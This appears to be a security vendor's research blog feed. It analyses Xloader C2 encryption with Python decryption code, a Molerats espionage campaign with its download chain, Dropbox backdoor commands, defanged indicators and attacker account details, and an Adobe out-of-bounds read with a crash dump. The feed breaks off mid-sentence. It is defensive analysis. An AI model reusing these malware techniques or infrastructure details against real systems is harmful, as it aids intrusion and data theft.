Windows and MacOS. This analysis focuses specifically on the Windows version of Xloader. Technical Analysis Xloader and Formbook use HTTP to communicate with the C2 server. An HTTP GET query is sent as a form of registration. Afterwards, the malware makes HTTP POST requests to the C2 to exfiltrate information such as screenshots, stolen data, etc. In both cases, the GET parameters and the POST data share a similar format and are encrypted as shown in Figure 1. We will explain the encryption algorithms in the following sections. Figure 1. Xloader C2 communications capture Decoy and Real C2 Servers Throughout the Xloader malware there are multiple structures of encrypted blocks of data and code. These blocks are designed to confuse malware analysts and disassemblers by using the assembly instructions for a function prologue push ebp and mov ebp, esp as shown in Figure 2. We have named these structures PUSHEBP encrypted blocks. These blocks are decrypted using an RC4 based algorithm combined with an encoding layer and a custom virtual machine (VM). Figure 2. Xloader PUSHEBP encrypted block One of these PUSHEBP blocks contains encrypted strings, and a list of decoy C2s. These decoys are legitimate domains that have been added to mislead malware researchers and automated malware analysis systems. The real C2 server is stored separately and encrypted using another more complex scheme. The pseudocode responsible for decrypting the real C2 server is shown in Figure 3. Figure 3. Xloader C2 decryption algorithm In Figure 3, the RC4_based_Decryptor function consists of RC4 encryption (with a 0x14 byte key) with an additional two encoding layers as shown below: ################################################################ def decrypt_PUSHEBP_encrypted_function_block(self, rc4_key, encdata): #backward / forward sub layer 1 encdata = self.decrypt_PUSHEBP_backward_forward_sub_layers(encdata) #rc4 encdata = self.rc4(encdata, rc4_key) #backward / forward sub layer 2 encdata = self.decrypt_PUSHEBP_backward_forward_sub_layers(encdata) return encdata The additional encoding layers consist of simple subtraction operations: ################################################################ def decrypt_PUSHEBP_backward_forward_sub_layers(self, encdata): encdata = list(encdata) lencdata = len(encdata) #backward sub p1 = lencdata - 2 counter = lencdata - 1 while True: encdata[p1] = chr(0xff&(ord(encdata[p1]) - ord(encdata[p1 + 1]))) p1 -= 1 counter -= 1 if not counter: break #forward sub p1 = 0 counter = lencdata - 1 while True: encdata[p1] = chr(0xff&(ord(encdata[p1]) - ord(encdata[p1 + 1]))) p1 += 1 counter -= 1 if not counter: break return ''.join(encdata) The VM_Decryptor function is another algorithm that is used by Xloader, which implements a custom virtual machine (VM). The following lines of Python reproduce the steps that Xloader performs to decrypt the real C2. ################################################################ # get blocks of enc strings b1 = GetPUSHEBPBlock(1) enc_strings_block = VM_Decryptor(b1) # get rc4 key 1, 0x14 bytes b8 = GetPUSHEBPBlock(8) key_rc4_1 = VM_Decryptor(b8) # get rc4 key 2, 014 bytes b2 = GetPUSHEBPBlock(2) key_rc4_2 = VM_Decryptor(b2) # get the block containing enc real C2 b11 = GetPUSHEBPBlock(11) enc_real_c2 = VM_Decryptor(b11) # decrypt first layer of the real C2, use the RC4 based algorithm and # the SHA1 of the full block of encrypted strings enc_real_c2 = RC4_based_Decryptor(enc_real_c2, SHA1(enc_strings_block)) # decrypt the next layers of the real C2, use RC4 based algorithm and # the two RC4 key recovered previously from the PUSHEBP blocks enc_real_c2 = RC4_based_Decryptor(enc_real_c2, key_rc4_1) dec_real_c2 = RC4_based_Decryptor(enc_real_c2, key_rc4_2) # the valid decrypted real c2 must start with www. b_ok = is_www(dec_real_c2) Once decrypted, the C2 URL has a format similar to www.domain.tld/botnet_id/. The C2 communications occur with the decoy domains and the real C2 server, including sending stolen data from the victim. Thus, there is a possibility that a backup C2 can be hidden in the decoy C2 domains and be used as a fallback communication channel in the event that the primary C2 domain is taken down. Formbook Communication Encryption Specific Details In FormBook, the HTTP GET parameters (and POST data) were encrypted in four steps: Using the domain and path of the real C2, an RC4 key was calculated in this way: Reverse_DWORDs(SHA1(<domain>/<cncpath>/)) The result was used as an RC4 key to encrypt the data Once the data was RC4 encrypted, it was additionally encoded using Base64 Data sent via HTTP POST requests was formatted using the character substitution that is shown in Table 1. Original Symbol Replacement Symbol + - / _ = . + ~ / ( = ) + <space> Table 1. Formbook C2 Characters Substitution Therefore, Formbook C2 communications could be easily decrypted by reversing the process since the C2 domain and path are known. Xloader Communication Encryption Specific Details The network encryption in XLoader is more complex. An additional RC4 layer was added to the process, with a convoluted algorithm that is used to derive this encryption key using the following steps: 1) To encrypt the HTTP network data, Xloader first calculates a key that we call Key0Comm as shown in Figure 4. Figure 4. Xloader KeyComm0 Derivation As we can see in Figure 4, the PUSHEBP block 7 is decrypted using the Xloader VM. This block, once decrypted, has a length of 0x15 bytes. The first 0x14 bytes are used as an RC4 key, and the last byte is used to choose and decrypt another PUSHEBP block (among the blocks 4, 5, 6, 8, 9 and 10) based on a switch statement. Thus the parameter Key0Comm in derived as follows: Key0Comm = RC4_based_Decryptor(decPushebpBlock7Key[:0x14], decSwitchBasedPushebpBlock) However, the order of the PUSHEBP blocks, and the associations between the switch and the block number, changes from one sample to another (i.e., the code of this function is randomized), even on the same versions of Xloader. Figure 5 shows a comparison of this function between two different Xloader v2.5 samples. Figure 5. Xloader KeyComm0 Function to Map the Switch to a Block Table 2 shows how these switch statements map to different block IDs in these samples. Switch 1 Switch 2 Switch 3 Switch 4 Switch 5 Switch 6 Sample 1 Block 4 Block 5 Block 10 Block 6 Block 9 Block 8 Sample 2 Block 6 Block 7 Block 8 Block 5 Block 4 Block 10 Table 2. Xloader Block ID Mapping Example In order to perform encryption for the C2 communications, the sample-specific table that maps these blocks must be known to derive the encryption key Key0Comm. 2) Next, another key that we refer to as Key1Comm is calculated using the same algorithm as Formbook: Key1Comm = Reverse_DWORDs(SHA1(<domain>/<cncpath>/)) 3) Finally, we need to calculate one last key, using the Xloader custom RC4-based decryption algorithm as follows: Key2Comm = RC4based_Decryptor(Key0Comm, Key1Comm) Having all three of these RC4 keys, we can encrypt and decrypt Xloader C2 communications. The packets are encrypted with two layers of standard RC4 using the keys Key2Comm and Key1Comm, as shown below: Key0Comm = <…from binary…> c2 = "" c2path = "htbn" get1="xPeDUfwp=X/0PTsm65bsB0xA5p5tU+UuBoyxUJvYd1eRdC0qFrd+bv9rqN9yTTECZJTYp88Jb6QhjuA==" Key1Comm = Reverse_DWORDs(SHA1(f"{c2}/{path}/")) fake_var, encrypted_params = get1.split('=', 1) sdec0 = b64_trans(encrypted_params) sdec1 = base64.b64decode(sdec0) Key2Comm = RC4_based_Decryptor(Key0Comm, Key1Comm) sdec2 = rc4(sdec1, Key2Comm) #layers encrypted with standard rc4 sdec3 = rc4(sdec2, Key1Comm) print(sdec3) Xloader also further applies the Base64 and character substitution described earlier for POST queries. Conclusion Xloader is a well-developed malware family that has numerous techniques to mislead researchers and hinder malware analysis including multiple layers of encryption and a custom virtual machine. Even though the authors abandoned the Formbook branch to focus on the rebranded Xloader, both strains are still quite active today. Formbook is still being used by threat actors using the leaked panel source code and self-managing the C2, while the original authors have continued to sell Xloader as MaaS, supporting and renting the servers infrastructure. Not surprisingly, it has been one of the most active threats in recent years. Cloud Sandbox Detection Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win32.PWS.XLoader Win32.PWS.Formbook Indicators of Compromise Variant Version SHA256 Real C2 Xloader 2.5 c60a64f8910005f98f6cd8c5787e4fe8c6580751a43bdbbd6a14af1ef6999b8f http://www.finetipster[.]com/pvxz/ Xloader 2.5 2c78fa1d90fe76c14f0a642af43c560875054e342bbb144aa9ff8f0fdbb0670f http://www.go2payme[.]com/snec/ Xloader 2.5 f3c3c0c49c037e7efa2fbef61995c1dc97cfe2887281ba4b687bdd6aa0a44e0a http://www.pochi-owarai[.]com/hr8n/ Xloader 2.5 efd1897cf1232815bb1f1fbe8496804186d7c48c6bfa05b2dea6bd3bb0b67ed0 http://www.hosotructiep[.]online/bsz6/ References Fri, 21 Jan 2022 12:00:06 -0800 Javier Vicente New espionage attack by Molerats APT targeting users in the Middle East Introduction In December 2021, the ThreatLabz research team identified several macro-based MS office files uploaded from Middle Eastern countries such as Jordan to OSINT sources such as VT. These files contained decoy themes related to geo-political conflicts between Israel and Palestine. Such themes have been used in previous attack campaigns waged by the Molerats APT. During our investigation we discovered that the campaign has been active since July 2021. The attackers only switched the distribution method in December 2021 with minor changes in the .NET backdoor. In this blog, we will share complete technical analysis of the attack chain, the C2 infrastructure, threat attribution, and data exfiltration. The targets in this campaign were chosen specifically by the threat actor and they included critical members of banking sector in Palestine, people related to Palestinian political parties, as well as human rights activists and journalists in Turkey. ThreatLabz observed several similarities in the C2 communication and .NET payload between this campaign and the previous campaigns attributed to the Molerats APT group. Additionally, we discovered multiple samples that we suspect are related to Spark backdoor. We have not added the analysis of these samples in this blog, but they were all configured with the same C2 server, which we have included in the IOCs section. Threat attribution We have attributed the attack to Molerats APT group based on following observations: 1. Use of open-source as well as commercial packers for the backdoor (ConfuserEx, Themida) 2. Targeting middle-east region 3. Using Dropbox API for entire C2 communication 4. Using RAR files for backdoor delivery as well as in later stages 5. Using other legit cloud hosting services like Google Drive to host the payloads 6. Overlap of domain SSL Certificate thumbprint observed on current attack infrastructure with domains used by Molerats APT group in the past 7. Overlap of Passive DNS resolution of domain observed on current attack infrastructure with the IP used by Molerats APT group in the past Attack flow Figure 1 below illustrates the new attack chain. Figure 1: Attack chain Decoy content MD5: 46e03f21a95afa321b88e44e7e399ec3 Note: Please refer Appendix section for additional decoy contents Technical analysis For the purpose of technical analysis we will use the document with MD5: 46e03f21a95afa321b88e44e7e399ec3 [+] Stage-1: Macro code The macro code is not complex or obfuscated. It simply executes a command using cmd.exe which in turn performs the following operations: Executes a PowerShell command to download and drop the Stage-2 payload from the URL “http://45.63.49[.]202/document.html” to the path “C:\ProgramData\document.htm”. Renames document.htm to servicehost.exe Executes servicehost.exe Figure 2 below shows the relevant macro code Figure 2: Macro code [+] Stage-2: servicehost.exe # Static analysis Based on static analysis, we can see that the binary is .NET-based and is obfuscated using the ConfuserEx packer. It masquerades itself as a WinRAR application by using the icon and other resources (which also contains static strings) from the legit WinRAR application. Figure 3: Shows the binary icon and other static information # Dynamic analysis The main function of the binary is the standard ConfuserEx function which is responsible for loading the runtime module "koi'' that is stored in encrypted form using a byte array. Once the module is loaded, the main function resolves the module's entry point function using the metadata token and invokes it by providing required parameters. Figure 4: Code snippet loading the runtime module and invoking it’s entry point function The runtime module ("koi") on analysis is found to be a backdoor. Before calling the main function of the module, the code from within the constructor is called which creates a new thread that regularly monitors the presence of a debugger. Figure 5: Code snippet of debugger monitoring function Once the debugger monitor thread is created we get the code execution flow to the main function of the module which ultimately leads to the backdoor execution. Within the main function the backdoor performs following operations: 1. Collects the machine manufacture and machine model information using WMI which is used for execution environment checks and is later exfiltrated to C2 server. 2. Checks if it should execute in the current execution environment. 3. Creates a mutex with the name of executing binary. 4. Checks if the mutex is created successfully. 5. Determines if it is executed for the first time using the registry key value "HKCU/Software/{name_of_executing_binary}/{name_of_executing_binary}". 6. If the registry key doesn't exist, the code flow goes via a mouse check function which executes the code further only if it detects a change in either of the mouse cursor coordinates. In the end, the mouse check function also creates the same registry key. Figure 6: Main function of backdoor [+] Network communication From the main function the final code flow reaches the function which starts the network communication. Since the backdoor uses Dropbox API for entire C2 communication and data exfiltration, it first extracts the primary Dropbox account token which is stored in encoded form within the binary. Figure 7 below describes the format and shows the encoded string that contains the Dropbox account token. Figure 7: Encoded string Executing further the backdoor collects the following information from victim machine: 1. Machine IP address: By making a network request to “” 2. UserName: From the environment variable 3. HostName: Using the API call Dns.GetHostName() The collected information is then processed and stored inside a variable named “UserInfo” by performing following operations: 1. Concatenation (IP+UserName+HostName) 2. Base64 string encode 3. Substitution (Substitute “=” with “1”) 4. String reverse Next the backdoor sends following network requests in the specified sequence using the Dropbox API and correspondingly performs any required operations: 1. Create Folder: Create a folder inside the root directory where the folder name is the value of UserInfo variable Note: The created folder acts as a unique identifier for a machine considering the fact that the machine IP remains static. 2. Create File: Create a file inside the newly created folder where the file name is the Machine IP and the data it stores is the information collected in Step-1 of the main function. 3. List Content: List the content of victim specific folder and delete files where the file name length is 15 4. List Content: List the content of root directory (which is attacker controlled) and extract the following information: a) File name of any hosted RAR archive b) File name of any hosted exe (Which is found to be the legitimate RAR command-line utility and is used to extract the downloaded RAR archive in case the machine doesn't already have any RAR archive supporting application) c) File name of any hosted pdf or doc file (Used as decoy document) d) File name of any non specific file type (Based on our analysis it contains the secondary Dropbox account token that is used for file exfiltration from victim machine) Note: The above extracted information is stored locally and is used wherever required. Finally, if the backdoor executed for the first time, it downloads and opens the hosted pdf or doc file and then calls two other functions where the first function creates a thread that continuously communicates with the Dropbox account to fetch and execute the C2 commands while the second function creates a thread that downloads and executes the RAR archive using the information extracted earlier. [+] C2 Commands The backdoor creates a file inside the victim specific folder on Dropbox which is used to fetch C2 commands. The file name is a random string of 15 characters. The C2 commands have following format: [command code]=[Command arguments separated using “^”] The backdoor uses command codes instead of plaintext strings to determine the action to be performed. Table below summarizes the supported command codes: Command code Action performed 1 Run specified command 2 Take snapshot and upload 3 Send list of files from specified directories 4 Upload files 5 Download and execute the RAR archive C2 infrastructure analysis While monitoring the IPs used during the current attack we observed the domain "" started to resolve to the IP 45.63.49[.]202 from 27-12-2021. We found two Historical SSL Certificates associated with this domain. Pivoting on the SSL Certificate with thumbprint "ec5e468fbf2483cab74d13e5ff6791522fa1081b" we found domains like "", "" and others which were all attributed to Molerats APT group during past attacks. Additionally, the subdomain “” also has a Passive DNS resolution to IP 185.244.39[.]165 which is also associated with Molerats APT group in the past. Note: We didn't observe any activity related to the domain "" or it’s subdomain “” until this blog release. Pivot on the Dropbox accounts Based on our analysis at least five Dropbox accounts are being used by the attacker. While investigating the Dropbox accounts we found that the attacker used following information during account registration. Note: Dropbox has confirmed the takedown of these accounts associated with the Molerats APT group. Account 1: Name: Adham gherbawi Country: NL (Netherlands) Email: adham.gharbawi@gmail[.]com Account 2: Name: alwatan voice Country: NL (Netherlands) Email: alwatanvoiceoffice@gmail[.]com Account 3: Name: adham gharbawi Country: NL (Netherlands) Email: adham.ghar.bawi@gmail[.]com Account 4: Name: pal leae Country: PS (Palestine) Email: palinfoarabic@gmail[.]com Account 5: Name: pla inod Country: PS (Palestine) Email: palinfo.arabic@gmail[.]com Also, while analyzing the exfiltrated data from Dropbox accounts we found a screenshot of the attacker machine which was likely uploaded while the attacker was testing the malware. We correlated a number of artifacts and patterns with the file names visible from the snapshot to those used during the real attack. Moreover, from the snapshot the attacker seems to be using a simple GUI application to sync with the Dropbox account and display the victims list. In the victims list, the user name "mijda" is also present which matches with the name of document creator “mij daf” for all the documents we found during this attack. Figure 8: Screenshot of attacker machine Additionally, we discovered that the attacker machine was configured with the IP 185.244.39[.]105 which is located in the Netherlands and is associated with the VPS service provider "SKB Enterprise B.V.". Interestingly, this IP (185.244.39[.]105) is also located in the same subnet as the IP 185.244.39[.]165 which was used for C2 communication and domain hosting in the past by Molerats APT group. Pivot on Google drive link Since the attacker also used Google Drive to host the payload in one of the attack chains, we tried to identify the associated Gmail account. Based on our analysis the attacker used following information for Gmail account: Account name: Faten Issa Email: issafaten584@gmail[.]com Old attack chain As per our analysis the old attack chain was used from 13th July 2021(Start of campaign) to 13th Dec 2021. Figure 9 below illustrates the old attack chain. Figure 9: Attack chain The major difference between the new attack chain and the old attack chain is seen in the backdoor delivery. Although we are not sure how these RAR/ZIP files were delivered but considering the past attacks they were likely delivered using Phishing PDFs. Additionally, we found a minor variation in the way the backdoor extracted the primary Dropbox account token. In the old attack chain the backdoor fetched the encoded string containing the primary Dropbox account token from attacker-hosted content on “”. Figure 10 below shows the attacker-hosted encoded string that contains the Dropbox account token and also describes the corresponding format. Figure 10: Attacker-hosted encoded string Zscaler Sandbox Detection [+] Detection of the macro-based Document [+] Detection of the macro-based PowerPoint file [+] Detection of the payload In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to Molerats APT group at various levels. Win32.Trojan.MoleratsAPT PDF.Trojan.MoleRatsAPT MITRE ATT&CK TTP Mapping ID Tactic Technique T1566.001 Spear phishing Attachment Uses doc based attachments with VBA macro T1204.002 User Execution: Malicious File User opens the document file and enables the VBA macro T1059.001 Command and Scripting interpreter: PowerShell VBA macro launches PowerShell to download and execute the payload T1140 Deobfuscate/Decode Files or Information Strings and other data are obfuscated in the payload T1082 System Information Discovery Sends processor architecture and computer name T1083 File and Directory Discovery Upload file from the victim machine T1005 Data from Local System Upload file from victim machine T1567.002 Exfiltration to Cloud Storage Data is uploaded to Dropbox via api T1113 Screen capture The C2 command code "2" corresponds to taking a screenshot and uploading to attacker-controlled Dropbox account Indicators of compromise [+] Hashes MD5 File Name Description 46e03f21a95afa321b88e44e7e399ec3 15-12.doc Document 5c87b653db4cc731651526f9f0d52dbb 11-12.docx Document 105885d14653932ff6b155d0ed64f926 report2.dotm Template 601107fc8fef440defd922f00589e2e9 4-1.doc Document 9939bf80b7bc586776e45e848ec41946 19-12.pptm PPT 054e18a1aab1249f06a4f3e661e3f38a أجندة صفقة وفاء الأحرار.pptm PPT e72d18b78362e068d0f3afa040df6a4c wanted persons.ppt PPT ebc98d9c96065c8f1c0f4ce445bf507b servicehost.exe Exe (Confuser packed) c7271b91d190a730864cd149414e8c43 su.exe Exe (Themida packed) 00d7f155f1a9b29be2c872c6cad40026 servicehost.exe Exe (Confuser packed) 2dc3ef988adca0ed20650c45735d4160 cairo hamas office.rar RAR a52f1574e4ee4483479e9356f96ee5e3 شروح حركة حماس لفتح مقر دائم لها في القاهرة .exe Exe (Confuser packed) b9ad53066ab218e40d61b299bd2175ba details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be تفاصيل صادمة لعملية هروب الأسرى الستة من سجن جلبوع.exe Exe (Themida packed) b7373b976bbdc5356bb89e2cba1540cb emergency.rar RAR a52f1574e4ee4483479e9356f96ee5e3 متابعة الحالة الصحية للرئيس الفلسطيني ابو مازن 16-09-2021.exe Exe (Confuser packed) 8884b0d29a15c1b6244a6a9ae69afa16 excelservice.rar RAR 270ee9d4d22ca039539c00565b20d2e7 idf.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 26-9-2021.exe Exe (Themida packed) d56a4865836961b592bf4a7addf7a414 images.rar RAR a52f1574e4ee4483479e9356f96ee5e3 شاهد ما التقطه كاميرات المراقبة أحداث التحرش الجنسي لأشهر 100 اعلامي في العالم.exe Exe (Confuser packed) 59368e712e0ac681060780e9caa672a6 meeting.rar RAR a52f1574e4ee4483479e9356f96ee5e3 محضر اجتماع نائبة الرئيس الأمريكي ووزير الخارجية الاسرائيلي .exe Exe (Confuser packed) 99fed519715b3de0af954740a2f4d183 ministry of the interior 23-9-2021.rar RAR 8debf9b41ec41b9ff493d5668edbb922 Ministry of the Interior statement 23-9-2021.exe Exe (Themida packed) bd14674edb9634daf221606f395b1e1d moi.rar RAR a52f1574e4ee4483479e9356f96ee5e3 أيليت شاكيد ترد على طلب الرئيس عباس لقاءها.exe Exe (Confuser packed) 04d17caf8be87e68c266c34c5bd99f48 namso.rar RAR c7271b91d190a730864cd149414e8c43 namso.exe Exe (Themida packed) 217943eb23563fa3fff766c5ec538fa4 rafah passengers.rar RAR a52f1574e4ee4483479e9356f96ee5e3 كشف تنسيقات السفر عبر معبر رفح البري .exe Exe (Confuser packed) fef0ec9054b8eff678d3556ec38764a6 sa.rar RAR a52f1574e4ee4483479e9356f96ee5e3 وعودات عربية وأمريكية بالتحرك للإفراج عن معتقلي حماس في السعودية.exe Exe (Confuser packed) 32cc7dd93598684010f985d1f1cea7fd shahid.rar RAR a52f1574e4ee4483479e9356f96ee5e3 شاهد ما التقطه كاميرات المراقبة أحداث التحرش الجنسي لأشهر 100 اعلامي في العالم.exe Exe (Confuser packed) 1dc3711272f8e9a6876a7bccbfd687a8 sudan details.rar RAR f054f1ccc2885b45a71a1bcd0dd711be قيادي فلسطيني شارك في محاولة الانقلاب في السودان .exe Exe (Themida packed) da1d640dfcb2cd3e0ab317aa1e89b22a tawjihiexam.rar RAR 31d07f99c865ffe1ec14c4afa98208ad Israel-Hamas Prisoner Exchange Progress.exe Exe (Confuser packed) b5e0eb9ca066f5d97752edd78e2d35e7 أجندة الاجتماع المتوقع.rar RAR a52f1574e4ee4483479e9356f96ee5e3 أجندة الاجتماع المزمع عقده الأسبوع القادم - ملفات شائكة تنتظر الاجتماع المتوقع.exe Exe (Confuser packed) b65d62fcb1e8f7f06017f5f9d65e30e3 مجريات الاجتماع .rar RAR a52f1574e4ee4483479e9356f96ee5e3 مجريات الاجتماع الثنائي وأهم النقاط التي تمس الأمن القومي المصري.exe Exe (Confuser packed) 933ffc08bcf8152f4b2eeb173b4a1e26 israelian ZIP 4ae0048f67e878fcedfaff339fab4fe3 Israelians Attacks during the years 2020 to 2021.exe Exe (Confuser packed) 1478906992cb2a8ddd42541654e9f1ac patient satisfaction ZIP 31d07f99c865ffe1ec14c4afa98208ad Patient Satisfaction Survey Patient Satisfaction Survey.exe Exe (Confuser packed) 33b4238e283b4f6100344f9d73fcc9ba الجلسة الثانية.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 تفاصيل الجلسة الثانية من مؤتمر مسارات السنوي العاشر.exe Exe (Confuser packed) 1f8178f9d82ac6045b6c7429f363d1c5 رسائل طالبان لحماس.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 رسائل طالبان لحماس فيما يخص الشأن التركي وحساسية الموقف بين كل منهم.exe Exe (Confuser packed) c7d19e496bcd81c4d16278a398864d60 مجلة اتجاهات سياسية.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 مجلة اتجاهات سياسية العدد الخامس والعشرون.exe Exe (Confuser packed) 1bae258e219c69bb48c46b5a5b7865f4 مقترح.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 مقترح احياء ذكرى أبو علي مصطفى ـ مقترح احياء ذكرى أبو علي مصطفى.exe Exe (Confuser packed) 547334e75ed7d4eea2953675b07986b4 مؤتمر المنظمة.zip ZIP 4ae0048f67e878fcedfaff339fab4fe3 مؤتمر المنظمة في لبنان - مؤتمر المنظمة في لبنان.exe Exe (Confuser packed) [+] Download URLs Component URL Template[.]com/uc?export=download&id=1xwb99Q7duf6q7a-7be44pCk3dU9KwXam Exe http://45.63.49[.]202/document.html http://23.94.218[.]221/excelservice.html http://45.63.49[.]202/doc.html http://45.63.49[.]202/gabha.html [+] Molerats associated IPs 45.63.49[.]202 23.94.218[.]221 185.244.39[.]165 [+] Molerats associated domains msupdata[.]com www.msupdate[.]com # Spark backdoor bundanesia[.]com [+] File system artifacts # Dropped binary C:\ProgramData\servicehost.exe {current_working_directory}\su.exe Appendix MD5: 5c87b653db4cc731651526f9f0d52dbb MD5: 105885d14653932ff6b155d0ed64f926 MD5: e72d18b78362e068d0f3afa040df6a4c Thu, 20 Jan 2022 13:03:48 -0800 Sahil Antil Analysis of Adobe Acrobat Pro DC Solid Framework Out-of-Bounds Read Vulnerability (CVE-2021-40729) Summary In October 2021, Adobe released a security update for vulnerabilities in Adobe Acrobat and Reader. Among these vulnerabilities is an out-of-bounds read (CVE-2021-40729) that was discovered by Zscaler’s ThreatLabz. In this blog, we present our analysis of this vulnerability in the Adobe Acrobat Pro DC Solid Framework. Adobe uses the Solid Framework for the conversion of PDF files to Microsoft Office files. Foxit’s PDF Editor is also impacted by this vulnerability since it also uses the Solid Framework for the conversion of PDF files to other file formats. Vulnerability Description CVE-2021-40729 is an out-of-bounds read vulnerability that could potentially lead to disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious PDF file. Known Affected Software Configurations Acrobat DC Continuous 21.007.20095 and earlier versions in Windows Acrobat DC Continuous 21.007.20096 and earlier versions in macOS Acrobat 2020 Classic 2020 20.004.30015 and earlier versions in Windows & macOS Acrobat 2017 Classic 2017 17.011.30202 and earlier versions in Windows & macOS Foxit PDF Editor and all previous 11.x versions, and earlier Proof of Concept The vulnerability can be triggered by opening a specially crafted PDF file and exporting it to a Microsoft Word document. Zscaler ThreatLabz created a PoC file that will cause the following crash. (1734.15d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=a7acaff8 ebx=a7fc4fa0 ecx=00000001 edx=80000090 esi=809f8220 edi=04afbb7c eip=80a82943 esp=04afbb00 ebp=04afbb18 iopl=0 nv up ei ng nz ac po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210293 PDFLibTool!CPdfColorSpace::SetCurrentColorIndirect+0xb3: 80a82943 f20f100cc8 movsd xmm1,mmword ptr [eax+ecx*8] ds:002b:a7acb000=???????????????? 0:000> dc eax a7acaff8 6f23f199 3ff0cd9a ???????? ???????? ..#o...????????? a7acb008 ???????? ???????? ???????? ???????? ???????????????? a7acb018 ???????? ???????? ???????? ???????? ???????????????? a7acb028 ???????? ???????? ???????? ???????? ???????????????? a7acb038 ???????? ???????? ???????? ???????? ???????????????? a7acb048 ???????? ???????? ???????? ???????? ???????????????? a7acb058 ???????? ???????? ???????? ???????? ???????????????? a7acb068 ???????? ???????? ???????? ???????? ???????????????? 0:000> !heap -p -a a7acaff8 address a7acaff8 found in _DPH_HEAP_ROOT @ 9501000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) a7993bc8: a7acaff8 8 - a7aca000 2000 672ba8b0 verifier!AVrfDebugPageHeapAllocate+0x00000240 7714f10e ntdll!RtlDebugAllocateHeap+0x00000039 770b70f0 ntdll!RtlpAllocateHeap+0x000000f0 770b6e3c ntdll!RtlpAllocateHeapInternal+0x0000104c 770b5dde ntdll!RtlAllocateHeap+0x0000003e 75840166 ucrtbase!_malloc_base+0x00000026 80d11770 PDFLibTool!CxManagedImage::Set+0x000c27b0 80a09dcd PDFLibTool!SolidWatermark::CSolidImageWatermarkOptBase::getWatermarkFileName+0x0000095d 80b1e9ed PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand+0x00001d6d 80b1c398 PDFLibTool!CPdfPageContentProcessor::ProcessCommandStreamMultiThread+0x000005a8 80b1bdce PDFLibTool!CPdfPageContentProcessor::ProcessCommandStream+0x0000002e 848d7fad SecurePdfSDK!CLayoutPage::PerTextContent+0x0000004d 848ffbf4 SecurePdfSDK!CPdfOCRPageRenderTools::IsPageScanned+0x00000174 83f89e31 PdfFlt+0x00009e31 83fa634d PdfFlt+0x0002634d 8453a8dd PdfFlt+0x005ba8dd 80b17800 PDFLibTool!CPdfDocumentImplEx::RenderPDFDocument+0x00000410 8453c8b8 PdfFlt+0x005bc8b8 84541c4b PdfFlt+0x005c1c4b 0:000> kb # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 04afbb18 80b225ed 04afbb7c a7acaff8 00000000 PDFLibTool!CPdfColorSpace::SetCurrentColorIndirect+0xb3 01 04afbbf8 80b1ea41 00000001 a7acaff8 00000000 PDFLibTool!CPdfPageContentProcessor::SetCurrentColor+0x1cd 02 04afbd98 80b1c398 04afc1b8 80b1c398 04afbe9c PDFLibTool!CPdfPageContentProcessor::ProcessGeneralCommand+0x1dc1 03 04afc0cc 80b1bdce a38defb8 a329efe8 04afe918 PDFLibTool!CPdfPageContentProcessor::ProcessCommandStreamMultiThread+0x5a8 04 04afc0e4 848d7fad a38defb8 88a9b2b0 a329efe8 PDFLibTool!CPdfPageContentProcessor::ProcessCommandStream+0x2e 05 04afc114 848ffbf4 88a9b7a8 6c818f20 83f87840 SecurePdfSDK!CLayoutPage::PerTextContent+0x4d 06 04afc40c 83f89e31 6a550cf0 a329efe8 04afc474 SecurePdfSDK!CPdfOCRPageRenderTools::IsPageScanned+0x174 07 04afc8d8 83fa634d 6c818f20 4e1b0412 83fa62c0 PdfFlt+0x9e31 08 04afc92c 8453a8dd 6c818f20 4e1b0156 84539dd0 PdfFlt+0x2634d 09 04afcc68 80b17800 6babbb4c 04afe918 6fdf4f40 PdfFlt+0x5ba8dd 0a 04afcd90 8453c8b8 95236fe0 4e1b00de 04afe918 PDFLibTool!CPdfDocumentImplEx::RenderPDFDocument+0x410 0b 04afcde0 84541c4b 95236fe0 04afe990 73f2aff0 PdfFlt+0x5bc8b8 0c 04afce00 84541d1a 4e1b030a 04afe990 6a550cc0 PdfFlt+0x5c1c4b 0d 00000000 00000000 00000000 00000000 00000000 PdfFlt+0x5c1d1a Test Environment Adobe Acrobat Pro DC, Product version: 21.7.20095.60881 PDFLibTool.dll, Product version: 10.0.12082.1 Solid Framework (x86), Product version: 10.0.12082.1 Technical Analysis The out-of-bounds read vulnerability CVE-2021-40729 exists in Adobe Acrobat Pro DC’s third-party library Solid Framework, which is located in the directory C:\Program Files (x86)\Adobe\Acrobat DC\Acrobat\plug_ins\SaveAsNonPDF\Solid. Figure 1 shows a comparison between a properly structured PDF file with a minimized PoC file that triggers this vulnerability. Figure 1. Comparison between a proper PDF file and the minimized PoC file that triggers CVE-2021-40729 Figure 2 shows the single modified byte that triggers the vulnerability located in obj 4. Figure 2. Hexdump of the obj 4 buffer including the modified byte that triggers the vulnerability The structure of the minimized PoC file is shown below in Figure 3. Figure 3. The structure of the minimized PoC file In Figure 3, the obj 2 uses obj 6 as its resource and obj 4 as its content. obj 6 references obj 8 as its colorspace. obj 8 is an ICCBased family color space. ICCBased color spaces can have 1, 3, or 4 components (defined by the N dictionary value). So they often use Gray (1 component), RGB (3 components), or CMYK (4 components). obj 25 contains the ICC profile in its stream. The parameter “/N 3” indicates the number of color components in the color space described by the ICC profile data. In this PoC PDF file, it uses RGB color spaces. Therefore, when the Solid Framework processes the SC (set color) operator, three operands are required. The description of the SC operator is listed in Figure 4. Figure 4. The SC (set color) operator definition The stream data in obj 4 has been compressed using the deflate algorithm. (For more information on deflate, please refer to Zlib is a C library that implements the deflate algorithm. Adobe Acrobat also uses Zlib to decompress the deflate-compressed data, we can use the Python script shown below to decompress the data in obj 4. Figure 5. Python Zlib decompression code The uncompressed stream content in obj 4 contains a stream of graphics operators. Many of these streams contain invalid operators and abnormal 